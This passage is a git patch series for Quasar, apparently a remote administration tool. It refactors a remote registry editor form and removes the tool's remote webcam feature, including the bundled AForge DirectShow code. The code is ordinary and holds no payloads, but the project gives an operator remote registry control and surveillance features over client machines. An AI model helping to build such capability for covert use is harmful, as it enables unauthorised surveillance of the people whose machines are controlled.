ShowErrorMessage(object sender, string errorMsg) { - this.Invoke((MethodInvoker)delegate - { - MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); - }); + MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } - public void PerformClose() - { - this.Invoke((MethodInvoker)delegate - { - this.Close(); - }); - } - - #endregion - - #region TreeView Helperfunctions + #region TreeView helper functions private void AddRootKey(RegSeekerMatch match) { @@ -115,93 +178,77 @@ private TreeNode CreateNode(string key, string text, object tag) }; } - public void AddKeys(string rootName, RegSeekerMatch[] matches) + private void AddKeys(object sender, string rootKey, RegSeekerMatch[] matches) { - if (string.IsNullOrEmpty(rootName)) + if (string.IsNullOrEmpty(rootKey)) { - tvRegistryDirectory.Invoke((MethodInvoker)delegate - { - tvRegistryDirectory.BeginUpdate(); - - foreach (var match in matches) - AddRootKey(match); + tvRegistryDirectory.BeginUpdate(); - tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0]; + foreach (var match in matches) + AddRootKey(match); - tvRegistryDirectory.EndUpdate(); - }); + tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0]; + tvRegistryDirectory.EndUpdate(); } else { - TreeNode parent = GetTreeNode(rootName); + TreeNode parent = GetTreeNode(rootKey); if (parent != null) { - tvRegistryDirectory.Invoke((MethodInvoker)delegate - { - tvRegistryDirectory.BeginUpdate(); + tvRegistryDirectory.BeginUpdate(); - foreach (var match in matches) - AddKeyToTree(parent, match); + foreach (var match in matches) + AddKeyToTree(parent, match); - parent.Expand(); - tvRegistryDirectory.EndUpdate(); - }); + parent.Expand(); + tvRegistryDirectory.EndUpdate(); } } } - public void CreateNewKey(string rootKey, RegSeekerMatch match) + private void CreateNewKey(object sender, string rootKey, RegSeekerMatch match) { TreeNode parent = GetTreeNode(rootKey); - tvRegistryDirectory.Invoke((MethodInvoker)delegate - { - TreeNode node = AddKeyToTree(parent, match); + TreeNode node = AddKeyToTree(parent, match); - node.EnsureVisible(); + node.EnsureVisible(); - tvRegistryDirectory.SelectedNode = node; - node.Expand(); - tvRegistryDirectory.LabelEdit = true; - node.BeginEdit(); - }); + tvRegistryDirectory.SelectedNode = node; + node.Expand(); + tvRegistryDirectory.LabelEdit = true; + node.BeginEdit(); } - public void RemoveKey(string rootKey, string subKey) + private void DeleteKey(object sender, string rootKey, string subKey) { TreeNode parent = GetTreeNode(rootKey); if (parent.Nodes.ContainsKey(subKey)) { - tvRegistryDirectory.Invoke((MethodInvoker)delegate - { - parent.Nodes.RemoveByKey(subKey); - }); + parent.Nodes.RemoveByKey(subKey); } } - public void RenameKey(string rootKey, string oldName, string newName) + private void RenameKey(object sender, string rootKey, string oldName, string newName) { TreeNode parent = GetTreeNode(rootKey); if (parent.Nodes.ContainsKey(oldName)) { - tvRegistryDirectory.Invoke((MethodInvoker)delegate - { - parent.Nodes[oldName].Text = newName; - parent.Nodes[oldName].Name = newName; + parent.Nodes[oldName].Text = newName; + parent.Nodes[oldName].Name = newName; - tvRegistryDirectory.SelectedNode = parent.Nodes[newName]; - }); + tvRegistryDirectory.SelectedNode = parent.Nodes[newName]; } } /// - /// Trys to find the desired TreeNode given the fullpath to it. + /// Tries to find the desired TreeNode given the full path to it. /// - /// The fullpath to the TreeNode. - /// Null if an invalid name is passed or the TreeNode could not be found; The TreeNode represented by the fullpath; + /// The full path to the TreeNode. + /// Null if an invalid name is passed or the TreeNode could not be found; The TreeNode represented by the full path. private TreeNode GetTreeNode(string path) { string[] nodePath = path.Split(new char[] { '\\' }); @@ -221,116 +268,103 @@ private TreeNode GetTreeNode(string path) #endregion - #region ListView Helpfunctions + #region ListView helper functions - public void CreateValue(string keyPath, RegValueData value) + private void CreateValue(object sender, string keyPath, RegValueData value) { TreeNode key = GetTreeNode(keyPath); if (key != null ) { - lstRegistryValues.Invoke((MethodInvoker)delegate - { - List valuesFromNode = ((RegValueData[])key.Tag).ToList(); - valuesFromNode.Add(value); - key.Tag = valuesFromNode.ToArray(); + List valuesFromNode = ((RegValueData[])key.Tag).ToList(); + valuesFromNode.Add(value); + key.Tag = valuesFromNode.ToArray(); - if (tvRegistryDirectory.SelectedNode == key) - { - RegistryValueLstItem item = new RegistryValueLstItem(value); - lstRegistryValues.Items.Add(item); - //Unselect all - lstRegistryValues.SelectedIndices.Clear(); - item.Selected = true; - lstRegistryValues.LabelEdit = true; - item.BeginEdit(); - } + if (tvRegistryDirectory.SelectedNode == key) + { + RegistryValueLstItem item = new RegistryValueLstItem(value); + lstRegistryValues.Items.Add(item); + //Unselect all + lstRegistryValues.SelectedIndices.Clear(); + item.Selected = true; + lstRegistryValues.LabelEdit = true; + item.BeginEdit(); + } - tvRegistryDirectory.SelectedNode = key; - }); + tvRegistryDirectory.SelectedNode = key; } } - public void DeleteValue(string keyPath, string valueName) + private void DeleteValue(object sender, string keyPath, string valueName) { TreeNode key = GetTreeNode(keyPath); if (key != null) { - lstRegistryValues.Invoke((MethodInvoker)delegate + if (!RegValueHelper.IsDefaultValue(valueName)) { - if (!RegValueHelper.IsDefaultValue(valueName)) - { - //Remove the values that have the specified name - key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray(); + //Remove the values that have the specified name + key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray(); - if (tvRegistryDirectory.SelectedNode == key) - lstRegistryValues.Items.RemoveByKey(valueName); - } - else //Handle delete of default value + if (tvRegistryDirectory.SelectedNode == key) + lstRegistryValues.Items.RemoveByKey(valueName); + } + else //Handle delete of default value + { + var regValue = ((RegValueData[])key.Tag).First(item => item.Name == valueName); + + if(tvRegistryDirectory.SelectedNode == key) { - var regValue = ((RegValueData[])key.Tag).First(item => item.Name == valueName); - - if(tvRegistryDirectory.SelectedNode == key) - { - var valueItem = lstRegistryValues.Items.Cast() - .SingleOrDefault(item => item.Name == valueName); - if (valueItem != null) - valueItem.Data = regValue.Kind.RegistryTypeToString(null); - } + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == valueName); + if (valueItem != null) + valueItem.Data = regValue.Kind.RegistryTypeToString(null); } + } - tvRegistryDirectory.SelectedNode = key; - - }); + tvRegistryDirectory.SelectedNode = key; } } - public void RenameValue(string keyPath, string oldName, string newName) + private void RenameValue(object sender, string keyPath, string oldName, string newName) { TreeNode key = GetTreeNode(keyPath); if (key != null) { - lstRegistryValues.Invoke((MethodInvoker)delegate - { - var value = ((RegValueData[])key.Tag).First(item => item.Name == oldName); - value.Name = newName; + var value = ((RegValueData[])key.Tag).First(item => item.Name == oldName); + value.Name = newName; - if (tvRegistryDirectory.SelectedNode == key) - { - var valueItem = lstRegistryValues.Items.Cast() - .SingleOrDefault(item => item.Name == oldName); - if (valueItem != null) - valueItem.RegName = newName; - } + if (tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == oldName); + if (valueItem != null) + valueItem.RegName = newName; + } - tvRegistryDirectory.SelectedNode = key; - }); + tvRegistryDirectory.SelectedNode = key; } } - public void ChangeValue(string keyPath, RegValueData value) + private void ChangeValue(object sender, string keyPath, RegValueData value) { TreeNode key = GetTreeNode(keyPath); if (key != null) { - lstRegistryValues.Invoke((MethodInvoker)delegate - { - var regValue = ((RegValueData[])key.Tag).First(item => item.Name == value.Name); - ChangeRegistryValue(value, regValue); + var regValue = ((RegValueData[])key.Tag).First(item => item.Name == value.Name); + ChangeRegistryValue(value, regValue); - if (tvRegistryDirectory.SelectedNode == key) - { - var valueItem = lstRegistryValues.Items.Cast() - .SingleOrDefault(item => item.Name == value.Name); - if (valueItem != null) - valueItem.Data = RegistryValueToString(value); - } + if (tvRegistryDirectory.SelectedNode == key) + { + var valueItem = lstRegistryValues.Items.Cast() + .SingleOrDefault(item => item.Name == value.Name); + if (valueItem != null) + valueItem.Data = RegistryValueToString(value); + } - tvRegistryDirectory.SelectedNode = key; - }); + tvRegistryDirectory.SelectedNode = key; } } @@ -392,7 +426,7 @@ select value #endregion - #region tvRegistryDirectory Action + #region tvRegistryDirectory actions private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEventArgs e) { @@ -409,12 +443,7 @@ private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEven } else { - _connectClient.Send(new DoRenameRegistryKey - { - ParentPath = e.Node.Parent.FullPath, - OldKeyName = e.Node.Name, - NewKeyName = e.Label - }); + _registryHandler.RenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label); tvRegistryDirectory.LabelEdit = false; } } @@ -441,7 +470,7 @@ private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEvent tvRegistryDirectory.SuspendLayout(); parentNode.Nodes.Clear(); - _connectClient.Send(new DoLoadRegistryKey {RootKeyName = parentNode.FullPath}); + _registryHandler.LoadRegistryKey(parentNode.FullPath); tvRegistryDirectory.ResumeLayout(); @@ -476,7 +505,7 @@ private void tvRegistryDirectory_KeyUp(object sender, KeyEventArgs e) #endregion - #region ToolStrip and Contextmenu Helpfunctions + #region ToolStrip and contextmenu helper functions private void CreateEditToolStrip() { @@ -510,7 +539,7 @@ private void CreateListViewMenuStrip() #endregion - #region MenuStrip Action + #region MenuStrip actions private void editToolStripMenuItem_DropDownOpening(object sender, EventArgs e) { @@ -547,7 +576,7 @@ private void menuStripRename_Click(object sender, EventArgs e) #endregion - #region lstRegistryKeys action + #region lstRegistryKeys actions private void lstRegistryKeys_MouseClick(object sender, MouseEventArgs e) { @@ -586,13 +615,8 @@ private void lstRegistryKeys_AfterLabelEdit(object sender, LabelEditEventArgs e) return; } - _connectClient.Send(new DoRenameRegistryValue - { - KeyPath = tvRegistryDirectory.SelectedNode.FullPath, - OldValueName = lstRegistryValues.Items[index].Name, - NewValueName = e.Label - }); - + _registryHandler.RenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + lstRegistryValues.Items[index].Name, e.Label); lstRegistryValues.LabelEdit = false; } else @@ -628,16 +652,13 @@ private void createNewRegistryKey_Click(object sender, EventArgs e) } else { - _connectClient.Send(new DoCreateRegistryKey - { - ParentPath = tvRegistryDirectory.SelectedNode.FullPath - }); + _registryHandler.CreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath); } } private void deleteRegistryKey_Click(object sender, EventArgs e) { - //Prompt user to confirm delete + // prompt user to confirm delete string msg = "Are you sure you want to permanently delete this key and all of its subkeys?"; string caption = "Confirm Key Delete"; var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); @@ -646,11 +667,7 @@ private void deleteRegistryKey_Click(object sender, EventArgs e) { string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath; - _connectClient.Send(new DoDeleteRegistryKey - { - ParentPath = parentPath, - KeyName = tvRegistryDirectory.SelectedNode.Name - }); + _registryHandler.DeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name); } } @@ -660,18 +677,15 @@ private void renameRegistryKey_Click(object sender, EventArgs e) tvRegistryDirectory.SelectedNode.BeginEdit(); } - #region New Registry Value + #region New registry value actions private void createStringRegistryValue_Click(object sender, EventArgs e) { if (tvRegistryDirectory.SelectedNode != null) { - //Request the creation of a new Registry value of type REG_SZ - _connectClient.Send(new DoCreateRegistryValue - { - KeyPath = tvRegistryDirectory.SelectedNode.FullPath, - Kind = RegistryValueKind.String - }); + // request the creation of a new Registry value of type REG_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.String); } } @@ -679,12 +693,9 @@ private void createBinaryRegistryValue_Click(object sender, EventArgs e) { if (tvRegistryDirectory.SelectedNode != null) { - //Request the creation of a new Registry value of type REG_BINARY - _connectClient.Send(new DoCreateRegistryValue - { - KeyPath = tvRegistryDirectory.SelectedNode.FullPath, - Kind = RegistryValueKind.Binary - }); + // request the creation of a new Registry value of type REG_BINARY + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.Binary); } } @@ -692,12 +703,9 @@ private void createDwordRegistryValue_Click(object sender, EventArgs e) { if (tvRegistryDirectory.SelectedNode != null) { - //Request the creation of a new Registry value of type REG_DWORD - _connectClient.Send(new DoCreateRegistryValue - { - KeyPath = tvRegistryDirectory.SelectedNode.FullPath, - Kind = RegistryValueKind.DWord - }); + // request the creation of a new Registry value of type REG_DWORD + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.DWord); } } @@ -705,12 +713,9 @@ private void createQwordRegistryValue_Click(object sender, EventArgs e) { if (tvRegistryDirectory.SelectedNode != null) { - //Request the creation of a new Registry value of type REG_QWORD - _connectClient.Send(new DoCreateRegistryValue - { - KeyPath = tvRegistryDirectory.SelectedNode.FullPath, - Kind = RegistryValueKind.QWord - }); + // request the creation of a new Registry value of type REG_QWORD + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.QWord); } } @@ -718,12 +723,9 @@ private void createMultiStringRegistryValue_Click(object sender, EventArgs e) { if (tvRegistryDirectory.SelectedNode != null) { - //Request the creation of a new Registry value of type REG_MULTI_SZ - _connectClient.Send(new DoCreateRegistryValue - { - KeyPath = tvRegistryDirectory.SelectedNode.FullPath, - Kind = RegistryValueKind.MultiString - }); + // request the creation of a new Registry value of type REG_MULTI_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.MultiString); } } @@ -731,18 +733,15 @@ private void createExpandStringRegistryValue_Click(object sender, EventArgs e) { if (tvRegistryDirectory.SelectedNode != null) { - //Request the creation of a new Registry value of type REG_EXPAND_SZ - _connectClient.Send(new DoCreateRegistryValue - { - KeyPath = tvRegistryDirectory.SelectedNode.FullPath, - Kind = RegistryValueKind.ExpandString - }); + // request the creation of a new Registry value of type REG_EXPAND_SZ + _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, + RegistryValueKind.ExpandString); } } #endregion - #region Registry Value edit + #region Registry value edit actions private void deleteRegistryValue_Click(object sender, EventArgs e) { @@ -757,12 +756,8 @@ private void deleteRegistryValue_Click(object sender, EventArgs e) { if (item.GetType() == typeof(RegistryValueLstItem)) { - RegistryValueLstItem registyValue = (RegistryValueLstItem)item; - _connectClient.Send(new DoDeleteRegistryValue - { - KeyPath = tvRegistryDirectory.SelectedNode.FullPath, - ValueName = registyValue.RegName - }); + RegistryValueLstItem registryValue = (RegistryValueLstItem) item; + _registryHandler.DeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registryValue.RegName); } } } @@ -776,33 +771,29 @@ private void renameRegistryValue_Click(object sender, EventArgs e) private void modifyRegistryValue_Click(object sender, EventArgs e) { - CreateModifyForm(false); + CreateEditForm(false); } private void modifyBinaryDataRegistryValue_Click(object sender, EventArgs e) { - CreateModifyForm(true); + CreateEditForm(true); } #endregion #endregion - #region Handlers - private void createRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) { if (e.Node == tvRegistryDirectory.SelectedNode) { createNewRegistryKey_Click(this, e); - tvRegistryDirectory.AfterExpand -= new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand); + tvRegistryDirectory.AfterExpand -= createRegistryKey_AfterExpand; } } - #endregion - - #region Help function + #region helper functions private bool GetDeleteState() { @@ -841,7 +832,7 @@ private Form GetEditForm(RegValueData value, RegistryValueKind valueKind) } } - private void CreateModifyForm(bool isBinary) + private void CreateEditForm(bool isBinary) { string keyPath = tvRegistryDirectory.SelectedNode.FullPath; string name = lstRegistryValues.SelectedItems[0].Name; @@ -854,11 +845,7 @@ private void CreateModifyForm(bool isBinary) { if (frm.ShowDialog() == DialogResult.OK) { - _connectClient.Send(new DoChangeRegistryValue - { - KeyPath = keyPath, - Value = (RegValueData) frm.Tag - }); + _registryHandler.ChangeRegistryValue(keyPath, (RegValueData) frm.Tag); } } } diff --git a/Server/Server.csproj b/Server/Server.csproj index b95ccdf04..a97dd6fb4 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -115,7 +115,6 @@ - From ff99158479a4fd29da697fb2e156112aac1034e3 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 22 Sep 2018 13:55:47 +0200 Subject: [PATCH 130/229] Remove Webcam functionality --- Client/Client.csproj | 34 - .../Video.DirectShow/CameraControlProperty.cs | 67 - .../AForge/Video.DirectShow/FilterInfo.cs | 193 -- .../Video.DirectShow/FilterInfoCollection.cs | 138 -- .../Internals/IAMCameraControl.cs | 81 - .../Video.DirectShow/Internals/IAMCrossbar.cs | 88 - .../Internals/IAMStreamConfig.cs | 74 - .../Internals/IAMVideoControl.cs | 112 -- .../Video.DirectShow/Internals/IBaseFilter.cs | 161 -- .../Internals/ICaptureGraphBuilder2.cs | 192 -- .../Internals/ICreateDevEnum.cs | 37 - .../Internals/IEnumFilters.cs | 71 - .../Video.DirectShow/Internals/IEnumPins.cs | 68 - .../Internals/IFilterGraph.cs | 113 -- .../Internals/IFilterGraph2.cs | 257 --- .../Internals/IGraphBuilder.cs | 198 -- .../Internals/IMediaControl.cs | 118 -- .../Internals/IMediaEventEx.cs | 126 -- .../AForge/Video.DirectShow/Internals/IPin.cs | 191 -- .../Internals/IPropertyBag.cs | 53 - .../Internals/IReferenceClock.cs | 87 - .../Internals/ISampleGrabber.cs | 103 - .../Internals/ISampleGrabberCB.cs | 47 - .../Internals/ISpecifyPropertyPages.cs | 36 - .../Video.DirectShow/Internals/Structures.cs | 518 ----- .../Video.DirectShow/Internals/Uuids.cs | 299 --- .../Video.DirectShow/Internals/Win32.cs | 102 - .../Video.DirectShow/PhysicalConnectorType.cs | 123 -- Client/Core/AForge/Video.DirectShow/Uuids.cs | 55 - .../Video.DirectShow/VideoCapabilities.cs | 245 --- .../Video.DirectShow/VideoCaptureDevice.cs | 1698 ----------------- .../AForge/Video.DirectShow/VideoInput.cs | 47 - Client/Core/AForge/Video/IVideoSource.cs | 126 -- Client/Core/AForge/Video/VideoEvents.cs | 125 -- Client/Core/Commands/WebcamHandler.cs | 100 - Client/Core/Networking/PacketHandler.cs | 12 - Quasar.Common/Messages/GetWebcam.cs | 14 - Quasar.Common/Messages/GetWebcamResponse.cs | 17 - Quasar.Common/Messages/GetWebcams.cs | 9 - Quasar.Common/Messages/GetWebcamsResponse.cs | 13 - Quasar.Common/Messages/PacketRegistry.cs | 86 +- Quasar.Common/Quasar.Common.csproj | 4 - README.md | 1 - Server/Core/Commands/SurveillanceHandler.cs | 40 +- Server/Core/Networking/PacketHandler.cs | 8 - Server/Core/Networking/UserState.cs | 3 - Server/Forms/FrmMain.Designer.cs | 31 +- Server/Forms/FrmMain.cs | 14 +- Server/Forms/FrmMain.resx | 20 +- Server/Forms/FrmRemoteWebcam.Designer.cs | 173 -- Server/Forms/FrmRemoteWebcam.cs | 143 -- Server/Forms/FrmRemoteWebcam.resx | 659 ------- Server/Server.csproj | 11 +- Server/images/webcam.png | Bin 776 -> 0 bytes 54 files changed, 17 insertions(+), 7324 deletions(-) delete mode 100644 Client/Core/AForge/Video.DirectShow/CameraControlProperty.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/FilterInfo.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/FilterInfoCollection.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IAMCameraControl.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IAMCrossbar.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IAMVideoControl.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IBaseFilter.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IEnumFilters.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IEnumPins.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph2.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IGraphBuilder.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IMediaControl.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IMediaEventEx.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IPin.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IPropertyBag.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IReferenceClock.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabber.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/Structures.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/Uuids.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Internals/Win32.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/PhysicalConnectorType.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/Uuids.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/VideoCapabilities.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/VideoCaptureDevice.cs delete mode 100644 Client/Core/AForge/Video.DirectShow/VideoInput.cs delete mode 100644 Client/Core/AForge/Video/IVideoSource.cs delete mode 100644 Client/Core/AForge/Video/VideoEvents.cs delete mode 100644 Client/Core/Commands/WebcamHandler.cs delete mode 100644 Quasar.Common/Messages/GetWebcam.cs delete mode 100644 Quasar.Common/Messages/GetWebcamResponse.cs delete mode 100644 Quasar.Common/Messages/GetWebcams.cs delete mode 100644 Quasar.Common/Messages/GetWebcamsResponse.cs delete mode 100644 Server/Forms/FrmRemoteWebcam.Designer.cs delete mode 100644 Server/Forms/FrmRemoteWebcam.cs delete mode 100644 Server/Forms/FrmRemoteWebcam.resx delete mode 100644 Server/images/webcam.png diff --git a/Client/Client.csproj b/Client/Client.csproj index ac10fefc5..1b6715760 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -61,42 +61,8 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/Client/Core/AForge/Video.DirectShow/CameraControlProperty.cs b/Client/Core/AForge/Video.DirectShow/CameraControlProperty.cs deleted file mode 100644 index 8ab1f6cca..000000000 --- a/Client/Core/AForge/Video.DirectShow/CameraControlProperty.cs +++ /dev/null @@ -1,67 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - - /// - /// The enumeration specifies a setting on a camera. - /// - public enum CameraControlProperty - { - /// - /// Pan control. - /// - Pan = 0, - /// - /// Tilt control. - /// - Tilt, - /// - /// Roll control. - /// - Roll, - /// - /// Zoom control. - /// - Zoom, - /// - /// Exposure control. - /// - Exposure, - /// - /// Iris control. - /// - Iris, - /// - /// Focus control. - /// - Focus - } - - /// - /// The enumeration defines whether a camera setting is controlled manually or automatically. - /// - [Flags] - public enum CameraControlFlags - { - /// - /// No control flag. - /// - None = 0x0, - /// - /// Auto control Flag. - /// - Auto = 0x0001, - /// - /// Manual control Flag. - /// - Manual = 0x0002 - } -} diff --git a/Client/Core/AForge/Video.DirectShow/FilterInfo.cs b/Client/Core/AForge/Video.DirectShow/FilterInfo.cs deleted file mode 100644 index c70e9665f..000000000 --- a/Client/Core/AForge/Video.DirectShow/FilterInfo.cs +++ /dev/null @@ -1,193 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - using AForge.Video.DirectShow.Internals; - - /// - /// DirectShow filter information. - /// - /// - public class FilterInfo : IComparable - { - /// - /// Filter name. - /// - public string Name { get; private set; } - - /// - /// Filters's moniker string. - /// - /// - public string MonikerString { get; private set; } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Filters's moniker string. - /// - public FilterInfo( string monikerString ) - { - MonikerString = monikerString; - Name = GetName( monikerString ); - } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Filter's moniker object. - /// - internal FilterInfo( IMoniker moniker ) - { - MonikerString = GetMonikerString( moniker ); - Name = GetName( moniker ); - } - - /// - /// Compare the object with another instance of this class. - /// - /// - /// Object to compare with. - /// - /// A signed number indicating the relative values of this instance and value. - /// - public int CompareTo( object value ) - { - FilterInfo f = (FilterInfo) value; - - if ( f == null ) - return 1; - - return ( this.Name.CompareTo( f.Name ) ); - } - - /// - /// Create an instance of the filter. - /// - /// - /// Filter's moniker string. - /// - /// Returns filter's object, which implements IBaseFilter interface. - /// - /// The returned filter's object should be released using Marshal.ReleaseComObject(). - /// - public static object CreateFilter( string filterMoniker ) - { - // filter's object - object filterObject = null; - // bind context and moniker objects - IBindCtx bindCtx = null; - IMoniker moniker = null; - - int n = 0; - - // create bind context - if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) - { - // convert moniker`s string to a moniker - if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 ) - { - // get device base filter - Guid filterId = typeof( IBaseFilter ).GUID; - moniker.BindToObject( null, null, ref filterId, out filterObject ); - - Marshal.ReleaseComObject( moniker ); - } - Marshal.ReleaseComObject( bindCtx ); - } - return filterObject; - } - - // - // Get moniker string of the moniker - // - private string GetMonikerString( IMoniker moniker ) - { - string str; - moniker.GetDisplayName( null, null, out str ); - return str; - } - - // - // Get filter name represented by the moniker - // - private string GetName( IMoniker moniker ) - { - Object bagObj = null; - IPropertyBag bag = null; - - try - { - Guid bagId = typeof( IPropertyBag ).GUID; - // get property bag of the moniker - moniker.BindToStorage( null, null, ref bagId, out bagObj ); - bag = (IPropertyBag) bagObj; - - // read FriendlyName - object val = ""; - int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero ); - if ( hr != 0 ) - Marshal.ThrowExceptionForHR( hr ); - - // get it as string - string ret = (string) val; - if ( ( ret == null ) || ( ret.Length < 1 ) ) - throw new ApplicationException( ); - - return ret; - } - catch ( Exception ) - { - return ""; - } - finally - { - // release all COM objects - bag = null; - if ( bagObj != null ) - { - Marshal.ReleaseComObject( bagObj ); - bagObj = null; - } - } - } - - // - // Get filter name represented by the moniker string - // - private string GetName( string monikerString ) - { - IBindCtx bindCtx = null; - IMoniker moniker = null; - String name = ""; - int n = 0; - - // create bind context - if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) - { - // convert moniker`s string to a moniker - if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 ) - { - // get device name - name = GetName( moniker ); - - Marshal.ReleaseComObject( moniker ); - moniker = null; - } - Marshal.ReleaseComObject( bindCtx ); - bindCtx = null; - } - return name; - } - } -} diff --git a/Client/Core/AForge/Video.DirectShow/FilterInfoCollection.cs b/Client/Core/AForge/Video.DirectShow/FilterInfoCollection.cs deleted file mode 100644 index dabd30d56..000000000 --- a/Client/Core/AForge/Video.DirectShow/FilterInfoCollection.cs +++ /dev/null @@ -1,138 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Collections; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - using AForge.Video.DirectShow.Internals; - - /// - /// Collection of filters' information objects. - /// - /// - /// The class allows to enumerate DirectShow filters of specified category. For - /// a list of categories see . - /// - /// Sample usage: - /// - /// // enumerate video devices - /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); - /// // list devices - /// foreach ( FilterInfo device in videoDevices ) - /// { - /// // ... - /// } - /// - /// - /// - public class FilterInfoCollection : CollectionBase - { - /// - /// Initializes a new instance of the class. - /// - /// - /// Guid of DirectShow filter category. See . - /// - /// Build collection of filters' information objects for the - /// specified filter category. - /// - public FilterInfoCollection( Guid category ) - { - CollectFilters( category ); - } - - /// - /// Get filter information object. - /// - /// - /// Index of filter information object to retrieve. - /// - /// Filter information object. - /// - public FilterInfo this[int index] - { - get - { - return ( (FilterInfo) InnerList[index] ); - } - } - - // Collect filters of specified category - private void CollectFilters( Guid category ) - { - object comObj = null; - ICreateDevEnum enumDev = null; - IEnumMoniker enumMon = null; - IMoniker[] devMon = new IMoniker[1]; - int hr; - - try - { - // Get the system device enumerator - Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum ); - if ( srvType == null ) - throw new ApplicationException( "Failed creating device enumerator" ); - - // create device enumerator - comObj = Activator.CreateInstance( srvType ); - enumDev = (ICreateDevEnum) comObj; - - // Create an enumerator to find filters of specified category - hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 ); - if ( hr != 0 ) - throw new ApplicationException( "No devices of the category" ); - - // Collect all filters - IntPtr n = IntPtr.Zero; - while ( true ) - { - // Get next filter - hr = enumMon.Next( 1, devMon, n ); - if ( ( hr != 0 ) || ( devMon[0] == null ) ) - break; - - // Add the filter - FilterInfo filter = new FilterInfo( devMon[0] ); - InnerList.Add( filter ); - - // Release COM object - Marshal.ReleaseComObject( devMon[0] ); - devMon[0] = null; - } - - // Sort the collection - InnerList.Sort( ); - } - catch - { - } - finally - { - // release all COM 